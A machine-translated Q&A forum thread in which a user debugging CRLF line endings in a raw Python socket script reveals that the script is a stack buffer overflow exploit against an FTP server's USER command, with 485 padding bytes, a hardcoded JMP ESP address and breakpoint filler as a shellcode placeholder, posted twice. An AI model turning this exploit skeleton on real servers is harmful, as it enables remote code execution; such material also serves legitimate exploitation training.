2015-05-19 1 views
1

Я написал простой скрипт Python, который должен подключиться к серверу Telnet, используя имя пользователя и пароль.Python simulate введите ключ

Сценарий следующий:

#!/usr/bin/python 

import sys 
import socket 

hostname = sys.argv[1] 
password = "whatever" 
username = "whatever" 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 
     print "[-] connection error" 
response = connect.recv(2000) 
print response 
sys.exit(1) 


connect.send("user %s\%r\%n" %username) 
response = connect.recv(2000) 
print response 



connect.send("pass %\%r\%n" %password) 
response = connect.recv(2000) 
print response 



connect.close() 

Ошибка является:

Соединение работает, но я не могу имитировать клавишу ввода с:

connect.send("user %s\%r\%n" %username) 
response = connect.recv(2000) 
print response 



connect.send("pass %\%r\%n" %password) 
response = connect.recv(2000) 
print response 

Так почему это Безразлично Работа? спасибо :)

EDIT РЕШЕНИЕ:

#!/usr/bin/python 

import sys 
import socket 




hostname = sys.argv[1] 
password = "whatever" 


jmpesp= "\xED\x1E\x94\x7C" 

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4) 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 


    print "[-] Verbindungs Fehler" 
    response = connect.recv(2000) 
    print response 
    sys.exit(1) 


connect.send("user %s\r\n" %username) 
response = connect.recv(2000) 
print response 

connect.send("user %s\r\n" %password) 
response = connect.recv(2000) 
print response 








connect.close() 
+0

Эти строки выполняются? У вас есть 'sys.exit (1)' before, это остановит программу. – matiasg

+0

Попробуйте удалить '\ r'. – cdarke

+1

@ DominicJarmann, пожалуйста, разместите свое решение не как редактирование, а как отдельный ответ, который вы принимаете. – zubergu

ответ

0

Python включает в себя библиотеку для телнета: telnetlib

ли вы посмотрите на этом? https://docs.python.org/2/library/telnetlib.html#module-telnetlib

Существует также пример того, как использовать его:

import getpass 
import sys 
import telnetlib 

HOST = "localhost" 
user = raw_input("Enter your remote account: ") 
password = getpass.getpass() 

tn = telnetlib.Telnet(HOST) 

tn.read_until("login: ") 
tn.write(user + "\n") 
if password: 
    tn.read_until("Password: ") 
    tn.write(password + "\n") 

tn.write("ls\n") 
tn.write("exit\n") 

print tn.read_all() 
+0

Проблема в том, что я хочу закодировать скрипт с использованием эксплойта Bufferoverflow. И по этой причине я не могу использовать эту библиотеку. Я просто не могу ввести shellcode в эту библиотеку. –

+0

Но спасибо в любом случае :) –

+1

это правильно. Но вы могли бы взглянуть на реализацию lib и как они отправляют \ n на telnet-сервер. Я думаю, что функция записи может быть полезна. https://hg.python.org/cpython/file/2.7/Lib/telnetlib.py#l273 – aronadaal

0

Код Решение:

#!/usr/bin/python 

import sys 
import socket 




hostname = sys.argv[1] 
password = "whatever" 


jmpesp= "\xED\x1E\x94\x7C" 

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4) 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 


    print "[-] Verbindungs Fehler" 
    response = connect.recv(2000) 
    print response 
    sys.exit(1) 


connect.send("user %s\r\n" %username) 
response = connect.recv(2000) 
print response 

connect.send("user %s\r\n" %password) 
response = connect.recv(2000) 
print response 








connect.close() 

Ошибка была ошибка реализации, которая останавливает программка перед кодом ПОЛУЧИТЬ казнены.